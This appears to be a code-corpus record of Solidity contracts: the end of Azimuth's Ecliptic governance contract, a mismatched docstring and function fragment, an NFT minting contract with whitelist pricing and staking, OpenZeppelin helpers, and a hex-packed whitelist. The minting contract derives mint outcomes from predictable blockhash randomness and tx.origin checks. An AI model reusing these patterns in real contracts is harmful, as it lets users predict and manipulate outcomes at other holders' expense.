becomes _point's sponsor // its escape request is reset to "not escaping" // azimuth.doEscape(_point); } // reject(): as the relevant sponsor, deny the _point's request // // Requirements: // - :msg.sender must be the owner or management proxy // of _point's requested sponsor // function reject(uint32 _point) external { uint32 request = azimuth.getEscapeRequest(_point); require( azimuth.isEscaping(_point) && azimuth.canManage( request, msg.sender ) ); require( depositAddress != azimuth.getOwner(request) ); // reset the _point's escape request to "not escaping" // azimuth.cancelEscape(_point); } // detach(): as the _sponsor, stop sponsoring the _point // // Requirements: // - :msg.sender must be the owner or management proxy // of _point's current sponsor // // We allow detachment even of points that are on L2. This is // so that a star controlled by a contract can detach from a // planet which was on L1 originally but now is on L2. L2 will // ignore this if this is not the actual sponsor anymore (i.e. if // they later changed their sponsor on L2). // function detach(uint32 _point) external { uint32 sponsor = azimuth.getSponsor(_point); require( azimuth.hasSponsor(_point) && azimuth.canManage(sponsor, msg.sender) ); require( depositAddress != azimuth.getOwner(sponsor) ); // signal that its sponsor no longer supports _point // azimuth.loseSponsor(_point); } // // Point rules // // getSpawnLimit(): returns the total number of children the _point // is allowed to spawn at _time. // function getSpawnLimit(uint32 _point, uint256 _time) public view returns (uint32 limit) { Azimuth.Size size = azimuth.getPointSize(_point); if ( size == Azimuth.Size.Galaxy ) { return 255; } else if ( size == Azimuth.Size.Star ) { // in 2019, stars may spawn at most 1024 planets. this limit doubles // for every subsequent year. // // Note: 1546300800 corresponds to 2019-01-01 // uint256 yearsSince2019 = (_time - 1546300800) / 365 days; if (yearsSince2019 < 6) { limit = uint32( 1024 * (2 ** yearsSince2019) ); } else { limit = 65535; } return limit; } else // size == Azimuth.Size.Planet { // planets can create moons, but moons aren't on the chain // return 0; } } // canEscapeTo(): true if _point could try to escape to _sponsor // function canEscapeTo(uint32 _point, uint32 _sponsor) public view returns (bool canEscape) { // can't escape to a sponsor that hasn't been linked // if ( !azimuth.hasBeenLinked(_sponsor) ) return false; // Can only escape to a point one size higher than ourselves, // except in the special case where the escaping point hasn't // been linked yet -- in that case we may escape to points of // the same size, to support lightweight invitation chains. // // The use case for lightweight invitations is that a planet // owner should be able to invite their friends onto an // Azimuth network in a two-party transaction, without a new // star relationship. // The lightweight invitation process works by escaping your // own active (but never linked) point to one of your own // points, then transferring the point to your friend. // // These planets can, in turn, sponsor other unlinked planets, // so the "planet sponsorship chain" can grow to arbitrary // length. Most users, especially deep down the chain, will // want to improve their performance by switching to direct // star sponsors eventually. // Azimuth.Size pointSize = azimuth.getPointSize(_point); Azimuth.Size sponsorSize = azimuth.getPointSize(_sponsor); return ( // normal hierarchical escape structure // ( (uint8(sponsorSize) + 1) == uint8(pointSize) ) || // // special peer escape // ( (sponsorSize == pointSize) && // // peer escape is only for points that haven't been linked // yet, because it's only for lightweight invitation chains // !azimuth.hasBeenLinked(_point) ) ); } // // Permission management // // setManagementProxy(): configure the management proxy for _point // // The management proxy may perform "reversible" operations on // behalf of the owner. This includes public key configuration and // operations relating to sponsorship. // function setManagementProxy(uint32 _point, address _manager) external activePointManager(_point) onL1(_point) { azimuth.setManagementProxy(_point, _manager); } // setSpawnProxy(): give _spawnProxy the right to spawn points // with the prefix _prefix // // takes a uint16 so that we can't set spawn proxy for a planet // // fails if spawn rights have been deposited to L2 // function setSpawnProxy(uint16 _prefix, address _spawnProxy) external activePointSpawner(_prefix) onL1(_prefix) { require( depositAddress != azimuth.getSpawnProxy(_prefix) ); azimuth.setSpawnProxy(_prefix, _spawnProxy); } // setVotingProxy(): configure the voting proxy for _galaxy // // the voting proxy is allowed to start polls and cast votes // on the point's behalf. // function setVotingProxy(uint8 _galaxy, address _voter) external activePointVoter(_galaxy) { azimuth.setVotingProxy(_galaxy, _voter); } // setTransferProxy(): give _transferProxy the right to transfer _point // // Requirements: // - :msg.sender must be either _point's current owner, // or be an operator for the current owner // function setTransferProxy(uint32 _point, address _transferProxy) public onL1(_point) { // owner: owner of _point // address owner = azimuth.getOwner(_point); // caller must be :owner, or an operator designated by the owner. // require((owner == msg.sender) || azimuth.isOperator(owner, msg.sender)); // set transfer proxy field in Azimuth contract // azimuth.setTransferProxy(_point, _transferProxy); // emit Approval event // emit Approval(owner, _transferProxy, uint256(_point)); } // // Poll actions // // startUpgradePoll(): as _galaxy, start a poll for the ecliptic // upgrade _proposal // // Requirements: // - :msg.sender must be the owner or voting proxy of _galaxy, // - the _proposal must expect to be upgraded from this specific // contract, as indicated by its previousEcliptic attribute // function startUpgradePoll(uint8 _galaxy, EclipticBase _proposal) external activePointVoter(_galaxy) { // ensure that the upgrade target expects this contract as the source // require(_proposal.previousEcliptic() == address(this)); polls.startUpgradePoll(_proposal); } // startDocumentPoll(): as _galaxy, start a poll for the _proposal // // the _proposal argument is the keccak-256 hash of any arbitrary // document or string of text // function startDocumentPoll(uint8 _galaxy, bytes32 _proposal) external activePointVoter(_galaxy) { polls.startDocumentPoll(_proposal); } // castUpgradeVote(): as _galaxy, cast a _vote on the ecliptic // upgrade _proposal // // _vote is true when in favor of the proposal, false otherwise // // If this vote results in a majority for the _proposal, it will // be upgraded to immediately. // function castUpgradeVote(uint8 _galaxy, EclipticBase _proposal, bool _vote) external activePointVoter(_galaxy) { // majority: true if the vote resulted in a majority, false otherwise // bool majority = polls.castUpgradeVote(_galaxy, _proposal, _vote); // if a majority is in favor of the upgrade, it happens as defined // in the ecliptic base contract // if (majority) { upgrade(_proposal); } } // castDocumentVote(): as _galaxy, cast a _vote on the _proposal // // _vote is true when in favor of the proposal, false otherwise // function castDocumentVote(uint8 _galaxy, bytes32 _proposal, bool _vote) external activePointVoter(_galaxy) { polls.castDocumentVote(_galaxy, _proposal, _vote); } // updateUpgradePoll(): check whether the _proposal has achieved // majority, upgrading to it if it has // function updateUpgradePoll(EclipticBase _proposal) external { // majority: true if the poll ended in a majority, false otherwise // bool majority = polls.updateUpgradePoll(_proposal); // if a majority is in favor of the upgrade, it happens as defined // in the ecliptic base contract // if (majority) { upgrade(_proposal); } } // updateDocumentPoll(): check whether the _proposal has achieved majority // // Note: the polls contract publicly exposes the function this calls, // but we offer it in the ecliptic interface as a convenience // function updateDocumentPoll(bytes32 _proposal) external { polls.updateDocumentPoll(_proposal); } // upgradeTreasury: upgrade implementation for treasury // // Note: we specify when deploying Ecliptic the keccak hash // of the implementation we're upgrading to // function upgradeTreasury(address _treasuryImpl) external { require(!treasuryUpgraded); require(keccak256(_treasuryImpl) == treasuryUpgradeHash); treasuryProxy.upgradeTo(_treasuryImpl); treasuryUpgraded = true; } // // Contract owner operations // // createGalaxy(): grant _target ownership of the _galaxy and register // it for voting // function createGalaxy(uint8 _galaxy, address _target) external onlyOwner { // only currently unowned (and thus also inactive) galaxies can be // created, and only to non-zero addresses // require( azimuth.isOwner(_galaxy, 0x0) && 0x0 != _target ); // new galaxy means a new registered voter // polls.incrementTotalVoters(); // if the caller is sending the galaxy to themselves, // assume it knows what it's doing and resolve right away // if (msg.sender == _target) { doSpawn(_galaxy, _target, true, 0x0); } // // when sending to a "foreign" address, enforce a withdraw pattern, // making the caller the owner in the mean time // else { doSpawn(_galaxy, _target, false, msg.sender); } } function setDnsDomains(string _primary, string _secondary, string _tertiary) external onlyOwner { azimuth.setDnsDomains(_primary, _secondary, _tertiary); } // // Function modifiers for this contract // // validPointId(): require that _id is a valid point // modifier validPointId(uint256 _id) { require(_id < 0x100000000); _; } // onL1(): require that ship is not deposited modifier onL1(uint32 _point) { require( depositAddress != azimuth.getOwner(_point) ); _; } }
getAllUpgradeProposals(): return array of all upgrade proposals ever made Note: only useful for clients, as Solidity does not currently support returning dynamic arrays.
function getUpgradeProposals() external view returns (address[] proposals) { return upgradeProposals; }
1,053,649
// SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.5; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "./IReserve.sol"; import "./whitelist.sol"; import "./safari-erc20.sol"; import "./isafari-erc721.sol"; import "./token-metadata.sol"; import "./safari-token-meta.sol"; uint256 constant GEN0 = 0; uint256 constant GEN1 = 1; contract SafariMint is Ownable, Pausable { using SafariToken for SafariToken.Metadata; struct WhitelistInfo { uint8 origAmount; uint8 amountRemaining; uint240 cost; } // mint price uint256 public constant MINT_PRICE = .07 ether; uint256 public constant WHITELIST_MINT_PRICE = .04 ether; uint256 public MAX_GEN0_TOKENS = 7777; uint256 public MAX_GEN1_TOKENS = 6667; uint256 public constant GEN1_MINT_PRICE = 40000 ether; mapping(uint256 => SafariToken.Metadata[]) internal special; uint256 public MAX_MINTS_PER_TX = 10; // For Whitelist winners mapping(address => WhitelistInfo) public whiteList; // For lions/zebras holders SafariOGWhitelist ogWhitelist; // reference to the Reserve for staking and choosing random Poachers IReserve public reserve; // reference to $RUBY for burning on mint SafariErc20 public ruby; // reference to the rhino metadata generator SafariTokenMeta public rhinoMeta; // reference to the poacher metadata generator SafariTokenMeta public poacherMeta; // reference to the main NFT contract ISafariErc721 public safari_erc721; // is public mint enabled bool public publicMint; // is gen1 mint enabled bool public gen1MintEnabled; constructor(address _ruby, address _ogWhitelist) { ogWhitelist = SafariOGWhitelist(_ogWhitelist); ruby = SafariErc20(_ruby); } function setReserve(address _reserve) external onlyOwner { reserve = IReserve(_reserve); } function setRhinoMeta(address _rhino) external onlyOwner { rhinoMeta = SafariTokenMeta(_rhino); } function setPoacherMeta(address _poacher) external onlyOwner { poacherMeta = SafariTokenMeta(_poacher); } function setErc721(address _safariErc721) external onlyOwner { safari_erc721 = ISafariErc721(_safariErc721); } function addSpecial(bytes32[] calldata value) external onlyOwner { for (uint256 i=0; i<value.length; i++) { SafariToken.Metadata memory v = SafariToken.create(value[i]); v.setSpecial(true); uint8 kind = v.getCharacterType(); special[kind].push(v); } } /** * allows owner to withdraw funds from minting */ function withdraw() external onlyOwner { payable(owner()).transfer(address(this).balance); } /** * public mint tokens * @param amount the number of tokens that are being paid for * @param boostPercent increase the odds of minting poachers to this percent * @param stake stake the tokens if true */ function mintGen0(uint256 amount, uint256 boostPercent, bool stake) external payable whenNotPaused whenPublicMint { require(amount * MINT_PRICE == msg.value, "Invalid payment amount"); _mintGen0(amount, boostPercent, stake); } /** * public mint tokens * @param amount the number of tokens that are being paid for * @param boostPercent increase the odds of minting poachers to this percent * @param stake stake the tokens if true */ function mintGen1(uint256 amount, uint256 boostPercent, bool stake) external payable whenNotPaused whenGen1Mint { _mintGen1(amount, boostPercent, stake); } /** * mint tokens using the whitelist * @param amount the number of tokens that are being paid for or claimed * @param boostPercent increase the odds of minting poachers to this percent * @param stake stake the tokens if true */ function mintWhitelist(uint8 amount, uint256 boostPercent, bool stake) external payable whenNotPaused whenWhitelistMint { WhitelistInfo memory wlInfo = whiteList[_msgSender()]; require(wlInfo.origAmount > 0, "you are not on the whitelist"); uint256 amountAtCustomPrice = min(amount, wlInfo.amountRemaining); uint256 amountAtWhitelistPrice = amount - amountAtCustomPrice; uint256 totalPrice = amountAtCustomPrice * wlInfo.cost + amountAtWhitelistPrice * WHITELIST_MINT_PRICE; require(totalPrice == msg.value, "wrong payment amount"); wlInfo.amountRemaining -= uint8(amountAtCustomPrice); whiteList[_msgSender()] = wlInfo; _mintGen0(amount, boostPercent, stake); } /** * mint tokens using the OG Whitelist * @param amountPaid the number of tokens that are being paid for * @param amountFree the number of free tokens being claimed * @param boostPercent increase the odds of minting poachers to this percent * @param stake stake the tokens if true */ function mintOGWhitelist(uint256 amountPaid, uint256 amountFree, uint256 boostPercent, bool stake) external payable whenNotPaused whenWhitelistMint { require(amountPaid * WHITELIST_MINT_PRICE == msg.value, "wrong payment amount"); uint16 offset; uint8 bought; uint8 claimed; uint8 lions; uint8 zebras; uint256 packedInfo = ogWhitelist.getInfoPacked(_msgSender()); offset = uint16(packedInfo >> 32); bought = uint8(packedInfo >> 24); claimed = uint8(packedInfo >> 16); lions = uint8(packedInfo >> 8); zebras = uint8(packedInfo); uint256 totalBought = amountPaid + bought; uint256 totalClaimed = amountFree + claimed; uint256 totalCredits = freeCredits(totalBought, lions, zebras); require(totalClaimed <= totalCredits, 'not enough free credits'); if (totalBought > 255) { totalBought = 255; } uint16 boughtAndClaimed = uint16((totalBought << 8) + totalClaimed); ogWhitelist.setBoughtAndClaimed(offset, boughtAndClaimed); uint256 amount = amountPaid + amountFree; _mintGen0(amount, boostPercent, stake); } /** * calculate how many RUBIES are needed to increase the * odds of minting a Poacher or APR * @param boostPercent the number of zebras owned by the user * @return the amount of RUBY that is needed */ function boostPercentToCost(uint256 boostPercent, uint256 gen) internal pure returns(uint256) { if (boostPercent == 0) { return 0; } uint256 boostCost; if (gen == GEN0) { assembly { switch boostPercent case 20 { boostCost := 50000 } case 25 { boostCost := 60000 } case 30 { boostCost := 100000 } case 100 { boostCost := 500000 } } } else { assembly { switch boostPercent case 20 { boostCost := 50000 } case 25 { boostCost := 60000 } case 30 { boostCost := 100000 } case 100 { boostCost := 1000000 } } } require(boostCost > 0, 'Invalid boost amount'); return boostCost * 1 ether; } function getStakedPoacherBoost() internal view returns(uint256) { uint256 numStakedPoachers = reserve.numDepositedPoachersOf(tx.origin); if (numStakedPoachers >= 5) { return 15; } else if (numStakedPoachers >= 4) { return 10; } else if (numStakedPoachers >= 2) { return 5; } return 0; } function _mintGen0(uint256 amount, uint256 boostPercent, bool stake) internal { require(tx.origin == _msgSender(), "Only EOA"); require(amount > 0 && amount <= MAX_MINTS_PER_TX, "Invalid mint amount"); uint256 m = safari_erc721.totalSupply(); require(m < MAX_GEN0_TOKENS, "All Gen 0 tokens minted"); uint256 totalRubyCost = boostPercentToCost(boostPercent, GEN0) * amount; require(ruby.balanceOf(_msgSender()) >= totalRubyCost, 'not enough RUBY for boost'); uint256 poacherChance = boostPercent == 0 ? 10 : boostPercent; SafariToken.Metadata[] memory tokenMetadata = new SafariToken.Metadata[](amount); uint16[] memory tokenIds = new uint16[](amount); uint256 randomVal; address recipient = stake ? address(reserve) : _msgSender(); for (uint i = 0; i < amount; i++) { m++; randomVal = random(m); tokenMetadata[i] = generate0(randomVal, poacherChance, m); tokenIds[i] = uint16(m); } if (totalRubyCost > 0) { ruby.burn(_msgSender(), totalRubyCost); } safari_erc721.batchMint(recipient, tokenMetadata, tokenIds); if (stake) { reserve.stakeMany(_msgSender(), tokenIds); } } function selectRecipient(uint256 seed, address origRecipient) internal view returns (address) { if (((seed >> 245) % 10) != 0) return origRecipient; address thief = reserve.randomPoacherOwner(seed >> 144); if (thief == address(0x0)) return origRecipient; return thief; } function _mintGen1(uint256 amount, uint256 boostPercent, bool stake) internal { require(tx.origin == _msgSender(), "Only EOA"); require(amount > 0 && amount <= MAX_MINTS_PER_TX, "Invalid mint amount"); uint256 m = safari_erc721.totalSupply(); require(m < MAX_GEN0_TOKENS + MAX_GEN1_TOKENS, "All Gen 1 tokens minted"); uint256 totalRubyCost = boostPercentToCost(boostPercent, GEN1) * amount; totalRubyCost += amount * GEN1_MINT_PRICE; require(ruby.balanceOf(_msgSender()) >= totalRubyCost, 'not enough RUBY owned'); uint256 aprChance = boostPercent == 0 ? 10 : boostPercent; if (aprChance != 100) { aprChance += getStakedPoacherBoost(); } SafariToken.Metadata[] memory tokenMetadata = new SafariToken.Metadata[](amount); SafariToken.Metadata[] memory singleTokenMetadata = new SafariToken.Metadata[](1); uint16[] memory tokenIds = new uint16[](amount); uint16[] memory singleTokenId = new uint16[](1); uint256 randomVal; address recipient = stake ? address(reserve) : _msgSender(); address thief; for (uint i = 0; i < amount; i++) { m++; randomVal = random(m); singleTokenMetadata[0] = generate1(randomVal, aprChance, m); if (!singleTokenMetadata[0].isAPR() && (thief = selectRecipient(randomVal, recipient)) != recipient) { singleTokenId[0] = uint16(m); safari_erc721.batchMint(thief, singleTokenMetadata, singleTokenId); } else { tokenMetadata[i] = singleTokenMetadata[0]; tokenIds[i] = uint16(m); } } if (totalRubyCost > 0) { ruby.burn(_msgSender(), totalRubyCost); } safari_erc721.batchMint(recipient, tokenMetadata, tokenIds); if (stake) { reserve.stakeMany(_msgSender(), tokenIds); } } /** * generates traits for a specific token, checking to make sure it's unique * @param randomVal a pseudorandom 256 bit number to derive traits from * @return t - a struct of traits for the given token ID */ function generate0(uint256 randomVal, uint256 poacherChance, uint256 tokenId) internal returns(SafariToken.Metadata memory) { SafariToken.Metadata memory newData; uint8 characterType = (randomVal % 100 < poacherChance) ? POACHER : ANIMAL; if (characterType == POACHER) { SafariToken.Metadata[] storage specials = special[POACHER]; if (randomVal % (MAX_GEN0_TOKENS/10 - min(tokenId, MAX_GEN0_TOKENS/10) + 1) < specials.length) { newData.setSpecial(specials); } else { newData = poacherMeta.generateProperties(randomVal, tokenId); newData.setAlpha(uint8(((randomVal >> 7) % (MAX_ALPHA - MIN_ALPHA + 1)) + MIN_ALPHA)); newData.setCharacterType(characterType); } } else { SafariToken.Metadata[] storage specials = special[ANIMAL]; if (randomVal % (MAX_GEN0_TOKENS - min(tokenId, MAX_GEN0_TOKENS) + 1) < specials.length) { newData.setSpecial(specials); } else { newData = rhinoMeta.generateProperties(randomVal, tokenId); newData.setCharacterType(characterType); } } return newData; } /** * generates traits for a specific token, checking to make sure it's unique * @param randomVal a pseudorandom 256 bit number to derive traits from * @return t - a struct of traits for the given token ID */ function generate1(uint256 randomVal, uint256 aprChance, uint256 tokenId) internal returns(SafariToken.Metadata memory) { SafariToken.Metadata memory newData; newData.setCharacterType((randomVal % 100 < aprChance) ? APR : ANIMAL); if (newData.isAPR()) { SafariToken.Metadata[] storage specials = special[APR]; if (randomVal % (MAX_GEN0_TOKENS + MAX_GEN1_TOKENS - min(tokenId, MAX_GEN0_TOKENS + MAX_GEN1_TOKENS) + 1) < specials.length) { newData.setSpecial(specials); } else { newData.setAlpha(uint8(((randomVal >> 7) % (MAX_ALPHA - MIN_ALPHA + 1)) + MIN_ALPHA)); } } else { SafariToken.Metadata[] storage specials = special[CHEETAH]; if (randomVal % (MAX_GEN0_TOKENS + MAX_GEN1_TOKENS - min(tokenId, MAX_GEN0_TOKENS + MAX_GEN1_TOKENS) + 1) < specials.length) { newData.setSpecial(specials); } else { newData.setCharacterSubtype(CHEETAH); } } return newData; } /** * updates the number of tokens for primary mint */ function setGen0Max(uint256 _gen0Tokens) external onlyOwner { MAX_GEN0_TOKENS = _gen0Tokens; } /** * generates a pseudorandom number * @param seed a value ensure different outcomes for different sources in the same block * @return a pseudorandom value */ function random(uint256 seed) internal view returns (uint256) { return uint256( keccak256( abi.encodePacked( blockhash(block.number - 1), seed ) ) ); } /** ADMIN */ function setPublicMint(bool allowPublicMint) external onlyOwner { publicMint = allowPublicMint; } function setGen1Mint(bool allowGen1Mint) external onlyOwner { gen1MintEnabled = allowGen1Mint; } function addToWhitelist(address[] calldata toWhitelist, uint8[] calldata amount, uint240[] calldata cost) external onlyOwner { require(toWhitelist.length == amount.length && toWhitelist.length == cost.length, 'all arguments were not the same length'); WhitelistInfo storage wlInfo; for(uint256 i = 0; i < toWhitelist.length; i++){ address idToWhitelist = toWhitelist[i]; wlInfo = whiteList[idToWhitelist]; wlInfo.origAmount += amount[i]; wlInfo.amountRemaining += amount[i]; wlInfo.cost = cost[i]; } } /** * calculate how many free tokens can be redeemed by a user * based on how many tokens the user has bought * @param bought the number of tokens bought * @param lions the number of lions owned by the user * @param zebras the number of zebras owned by the user * @return the number of free tokens that the user can claim */ function freeCredits(uint256 bought, uint256 lions, uint256 zebras) internal pure returns(uint256) { uint256 used_lions = min(bought, lions); lions -= used_lions; bought -= used_lions; uint256 used_zebras = min(bought, zebras); return used_lions * 2 + used_zebras; } function min(uint256 a, uint256 b) internal pure returns(uint256) { return a <= b ? a : b; } modifier whenPublicMint() { require(publicMint == true, 'public mint is not activated'); _; } modifier whenWhitelistMint() { require(publicMint == false, 'whitelist mint is over'); _; } modifier whenGen1Mint() { require(gen1MintEnabled == true, 'gen1 mint is not activated'); _; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; interface IReserve { function stakeMany(address account, uint16[] calldata tokenIds) external; function randomPoacherOwner(uint256 seed) external view returns (address); function numDepositedPoachersOf(address account) external view returns (uint256); } // SPDX-License-Identifier: MIT LICENSE pragma solidity ^0.8.0; contract SafariOGWhitelist { bytes internal offsets = hex"0000001800300048005a006600780084009600ae00f001080108010e01500168019201b001c801ec01f8020402100228025e027c0294029a02b202d002e202e803000306030c032a034203540366037e039003b403de04140432044a047a049204b004ce04f205280546056a058e05ac05ca05f4061e0630067206a206ba06cc06de06fc0714072c073e0756075c076e0780079e07c807ec080a08160828085208700882088e08a008b808e208e808fa090c09240942095a0978098a09ae09ea09f00a080a1a0a260a380a3e0a560a680a7a0a9e0abc0ae00aec0b040b220b4c0b640b8e0bac0bc40bdc0bf40c120c360c420c540c600c720c900ca20cb40ccc0cde0cf60d200d2c0d3e0d5c0d620d9e0daa0dce0df20dfe0e1c0e280e400e580e6a0e7c0ea60ec40edc0efa0f060f1e0f3c0f600f900fc00fde1002101a1038104a10621080109810a410c210d410e010ec10fe111611461164118e11b211d611f4121212301254128412ae12cc12f0132c133e135c136e1386139813aa13bc13da1404141c143a14521464147c148814a614b814d014f414fa1506151815361560158a15ba15cc15e416021632164a166e1680169e16b616c216ce16ec170a17161740174017461764178e17ac17ca17fa18181824183c1860189018a818ba18e4190e192c193e19501974198c19b019da19fe1a281a461a641a761a9a1aac1abe"; bytes internal items = hex"0000000000041b26000000018ca400000003fcdd00000007337300000002353c000001009e5c00000104caaf00000100045b0000000128850000050f35ba00000001736d00000102004900000001893300000005d0f900000001cd3800000001ebe800000001005000000001235500000001379b00000001737000000109cd18000000023f0d00000005538a00000628d7d70000000215910000010535bf000000063ff900000001b071000000030deb000000012700000002082dfe000000015647000000075f330000000460ca0000000373c2000000068f5c00000100bde20000020be3b50000000ce4800000000107bd00000001465700000003848400000003fb20000006190ac7000000014640000000025eeb0000000273aa0000010b77c6000000017c7100000005804e000001038b3a00000001cf5700000006d18200000004da9900000200df260000010968ec00000002815c00000102916100000001b50c000000015e9900000100600500000001817600000003932500000014e82600000202e8590000060eeb6e000000040825000000010f5b00000002a78700000101c89f00000001d353000000012b3200000001a54d00000001e46500000002ef200000010843d00000000454f4000000015e5100000001adc000000003b11500000002c782000000025d02000001026db700000002246f00000004a74800000002093000000001e8750000010927990000010539490000000549e200000002f2ba0000000221e40000000350ca0000000267350000000370c6000000017a6800000007b64c00000004c6e900000001c73800000205d41100000003494f0000010454fe00000001996200000005bd7c00000003e25a0000000422dd00000002391d00000004b0cc00000201b446000000057bd900000001293700000d85a90d0000073aabe300000003f3a7000001081f6b000000012943000000032b72000000053c3600000100c3190000000aa5b800000001c30100000b32cc7e000000042316000000051041000000018c3d000000018cef0000010392c00000010ae4b2000000048d560000010f62b7000000027b68000000038f9f00000001d82900000001fc3100000101851700000001a17f00000001b2db00000007c1e1000000079a49000000029f9300000003e5ed00000002044000000001b90700000001cd0c00000001631e00000103b02000000002deb000000004f640000001019ea000000003b75500000007c5930000000505dc0000020208f000000101a69f00000001b4d600000009dcf600000001e76a000000010ded0000000232b300000001480300000105c9e000000001e76a00000307e9b200000003fdb00000000400f6000000050e4e00000001140600000001193c000000034040000000025ba60000000c849a00000003c93e00000009ebaa0000010411300000000136100000010367200000010277fb0000000a83ae0000000519bc0000000196e400000002c41100000103f00e0000020332f0000000014eb9000000026cea000000017e60000002048e6c00000003a65e00000100bacd00000001f65f000000052673000000023c4100000003c20600000003ea47000000010e040000000216040000000350f500000001c06600000101f0260000000155b4000002307e7900000005904600000002a21e00000002fcc80000000106f400000102171d000003066a8e000000019e9200000001c4eb00000111ddf4000000010562000000020beb0000010913f50000000114550000000138bf000000016696000000016c500000010a707400000001e37a0000000100ce0000000239c20000000662c90000000ca10700000205e2a8000000044e2a000000015f2d00000005996600000003a08200000002b5f300000003f3600000010a34b200000004721500000102bd1700000003bd320000020bbe2700000104e94d000001047fc700000001852d00000104961500000106b73f00000003be2b000000011b4b00000208294500000001a8f800000001c9eb00000200e22900000001439f0000020344d4000000074ca5000000035ce10000000283550000000286c500000109abad00000100168900000204206000000002486100000002542e000000016b8e00000002970c000000019b6700000001136400000003693500000306f7f80000000221d700000005639b0000000269be0000010090c900000003977a000000029f2f00000100af3400000412b62700000002bd8d00000001c44100000002eff80000000105e60000010013c2000000012b07000000062c57000001004cad0000050b5c9700000002702500000105dd9b0000000177f9000001017fa0000000029f18000000019f92000000018f0b00000007e98d00000002fa38000000032ca7000000026e0800000003aaa60000000331490000000146d3000000014c5e00000001711b0000072fee01000000011c4b000000062be8000000013c0a00000001bba8000000011ab90000010521e200000102bdb500000002f34400000212547b00000002691300000001db5d000000031029000000012dcc00000109c5db00000003cabd00000108ce930000010405d80000000289a800000004f41d00000004326e0000010143e50000000167d4000000012f9b000000023b610000000b920e000000029a0f00000228e148000001123b360000000349d40000010c7dfb00000001819300000002918d000000049b9100000001cfba00000003124c000001027e8d00000109915e00000208b6c000000206eb5000000102feff0000010032f80000000539cd0000000169be000000029a1600000002aa9200000002618d00000101888e0000010442d600000003c67500000311ce05000002001e7f000001012cb200000205613500000002743600000003a01d00000001a11100000009e83c000000032404000000016b8200000006aff700000109b8b700000001f33d000000040e4300000313368600000107f92a00000100c2bc00000004ef2b000000041a19000000035a52000000056f78000000032ff6000000018d4d00000003cfa100000002da6f00000100349c0000000138f00000000855760000000159f0000000016a110000000192ac00000001f2eb00000102e1740000000710f1000000021b5500000100543700000002021800000005145000000001e259000000011a9c000000011bd400000207a49d00000001d70b0000000305e9000000021f8a0000020f8e1600000002b27200000002e0d00000000117fb000000039b6400000002cba600000001f75200000002049c0000031b17d1000000044f870000010374c300000203b054000000043311000000024dda000000017a9f0000010f17c2000000012c6e0000001e7a4b00000001b60200000001e37d00000001ec6e00000004067900000001070c000000010c3d000001115c8100000004ae8500000002b27c00000001b2b000000003b5dc00000006e2c700000002e83200000104d8dc0000000430a0000000044cb80000000150270000000173b70000020175cc000000017ea900000002933d00000001222900000103a15000000004035f0000000938e800000001c8e10000010444ff000000053bcd000000025d5200000001dcf700000003ea52000000028e960000000e9035000000039e2500000001159a000001019be800000101c30900000002372a000001123cb40000000c419f000000018ad500000001ae4400000102b53a000000023285000000013969000001013a0f000001026f11000002098ce70000000103fd000000010d47000001003bf1000003123c1c00000001c5d10000000dcb80000000020dd3000000012b43000000010811000000013da3000000015cbf00000100712f0000000384ab00000102877a000000038e51000001029b0000000207a248000000014dcb000001035349000000018a5b0000040898af00000102d11800000001db820000010aef09000001004f7a00000005b9a800000104e19a00000205e97d0000000407d3000001070a4d000000031ab500000002a5e000000002a85100000004cdc500000001e4d7000000085766000000056031000001027bb9000000029aec00000001ab7a000000015062000000027f2500000006c33100000001d6930000090a3f4d000000034cab00000104854c0000000b91970000000635a000000001a26800000104e6ce00000002f0e6000000011aac00000002594b00000002915e0000020693f900000002eb44000002012f37000002034abe000000019beb00000001c69400000117da